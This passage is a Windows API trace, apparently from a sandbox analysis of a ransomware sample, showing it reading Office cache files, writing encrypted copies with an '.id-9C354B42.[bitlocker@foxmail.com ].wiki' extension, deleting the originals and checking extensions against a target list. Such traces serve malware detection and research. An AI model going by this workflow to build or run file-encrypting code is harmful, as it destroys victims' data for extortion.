returned 1 [0044.881] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.881] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0044.881] SetEndOfFile (hFile=0x1b0) returned 1 [0044.881] CloseHandle (hObject=0x1b0) returned 1 [0044.881] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.881] SetEndOfFile (hFile=0x188) returned 1 [0044.882] CloseHandle (hObject=0x188) returned 1 [0044.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.882] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString=".doc") returned 4 [0044.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString=".docx") returned 5 [0044.883] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.883] lstrlenW (lpString=".pdf") returned 4 [0044.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString=".xls") returned 4 [0044.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString=".xlsx") returned 5 [0044.883] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.883] lstrlenW (lpString=".ppt") returned 4 [0044.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString=".zip") returned 4 [0044.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.883] lstrlenW (lpString=".rar") returned 4 [0044.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString=".bz2") returned 4 [0044.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString=".7z") returned 3 [0044.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString=".dbf") returned 4 [0044.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString=".1cd") returned 4 [0044.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.883] lstrlenW (lpString=".jpg") returned 4 [0044.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString=".doc") returned 4 [0044.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString=".docx") returned 5 [0044.884] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0044.884] lstrlenW (lpString=".pdf") returned 4 [0044.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString=".xls") returned 4 [0044.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString=".xlsx") returned 5 [0044.884] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0044.884] lstrlenW (lpString=".ppt") returned 4 [0044.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString=".zip") returned 4 [0044.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.884] lstrlenW (lpString=".rar") returned 4 [0044.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString=".bz2") returned 4 [0044.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString=".7z") returned 3 [0044.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString=".dbf") returned 4 [0044.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString=".1cd") returned 4 [0044.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0044.884] lstrlenW (lpString=".jpg") returned 4 [0044.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.885] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.885] lstrlenW (lpString="Setup.xml") returned 9 [0044.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.885] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1852) returned 1 [0044.885] CloseHandle (hObject=0x188) returned 1 [0044.885] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.885] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.885] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.885] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0044.885] GetLastError () returned 0x0 [0044.886] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x73c, lpOverlapped=0x0) returned 1 [0045.241] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x740, lpOverlapped=0x0) returned 1 [0045.242] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.242] WriteFile (in: hFile=0x1b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.242] SetEndOfFile (hFile=0x1b0) returned 1 [0045.242] CloseHandle (hObject=0x1b0) returned 1 [0045.243] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.243] SetEndOfFile (hFile=0x188) returned 1 [0045.244] CloseHandle (hObject=0x188) returned 1 [0045.244] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.244] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.244] lstrlenW (lpString=".doc") returned 4 [0045.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.244] lstrlenW (lpString=".docx") returned 5 [0045.245] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.245] lstrlenW (lpString=".pdf") returned 4 [0045.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString=".xls") returned 4 [0045.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString=".xlsx") returned 5 [0045.245] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.245] lstrlenW (lpString=".ppt") returned 4 [0045.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString=".zip") returned 4 [0045.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.245] lstrlenW (lpString=".rar") returned 4 [0045.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString=".bz2") returned 4 [0045.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString=".7z") returned 3 [0045.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString=".dbf") returned 4 [0045.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString=".1cd") returned 4 [0045.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString=".jpg") returned 4 [0045.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.245] lstrlenW (lpString=".doc") returned 4 [0045.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.245] lstrlenW (lpString=".docx") returned 5 [0045.245] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.245] lstrlenW (lpString=".pdf") returned 4 [0045.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString=".xls") returned 4 [0045.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString=".xlsx") returned 5 [0045.246] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.246] lstrlenW (lpString=".ppt") returned 4 [0045.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.246] lstrlenW (lpString=".zip") returned 4 [0045.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.246] lstrlenW (lpString=".rar") returned 4 [0045.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString=".bz2") returned 4 [0045.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString=".7z") returned 3 [0045.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.246] lstrlenW (lpString=".dbf") returned 4 [0045.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.246] lstrlenW (lpString=".1cd") returned 4 [0045.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.246] lstrlenW (lpString=".jpg") returned 4 [0045.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.246] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.246] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0045.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.570] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=913) returned 1 [0045.570] CloseHandle (hObject=0x198) returned 1 [0045.570] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0045.570] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.570] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.570] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.570] GetLastError () returned 0x0 [0045.570] ReadFile (in: hFile=0x198, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x391, lpOverlapped=0x0) returned 1 [0045.597] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0045.598] ReadFile (in: hFile=0x198, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.598] WriteFile (in: hFile=0x1bc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0045.598] SetEndOfFile (hFile=0x1bc) returned 1 [0045.598] CloseHandle (hObject=0x1bc) returned 1 [0045.599] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.599] SetEndOfFile (hFile=0x198) returned 1 [0045.600] CloseHandle (hObject=0x198) returned 1 [0045.600] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.601] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0045.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.601] lstrlenW (lpString=".doc") returned 4 [0045.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString=".docx") returned 5 [0045.601] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.601] lstrlenW (lpString=".pdf") returned 4 [0045.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString=".xls") returned 4 [0045.601] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString=".xlsx") returned 5 [0045.601] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.601] lstrlenW (lpString=".ppt") returned 4 [0045.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.601] lstrlenW (lpString=".zip") returned 4 [0045.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.601] lstrlenW (lpString=".rar") returned 4 [0045.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString=".bz2") returned 4 [0045.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString=".7z") returned 3 [0045.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.601] lstrlenW (lpString=".dbf") returned 4 [0045.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.601] lstrlenW (lpString=".1cd") returned 4 [0045.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".jpg") returned 4 [0045.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".doc") returned 4 [0045.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString=".docx") returned 5 [0045.602] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.602] lstrlenW (lpString=".pdf") returned 4 [0045.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString=".xls") returned 4 [0045.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString=".xlsx") returned 5 [0045.602] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.602] lstrlenW (lpString=".ppt") returned 4 [0045.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".zip") returned 4 [0045.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.602] lstrlenW (lpString=".rar") returned 4 [0045.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString=".bz2") returned 4 [0045.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString=".7z") returned 3 [0045.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".dbf") returned 4 [0045.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".1cd") returned 4 [0045.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0045.602] lstrlenW (lpString=".jpg") returned 4 [0045.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.603] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.603] lstrlenW (lpString="AccessMUI.xml") returned 13 [0045.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.647] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1349) returned 1 [0045.647] CloseHandle (hObject=0x170) returned 1 [0045.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0045.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.647] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.647] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.647] GetLastError () returned 0x0 [0045.647] ReadFile (in: 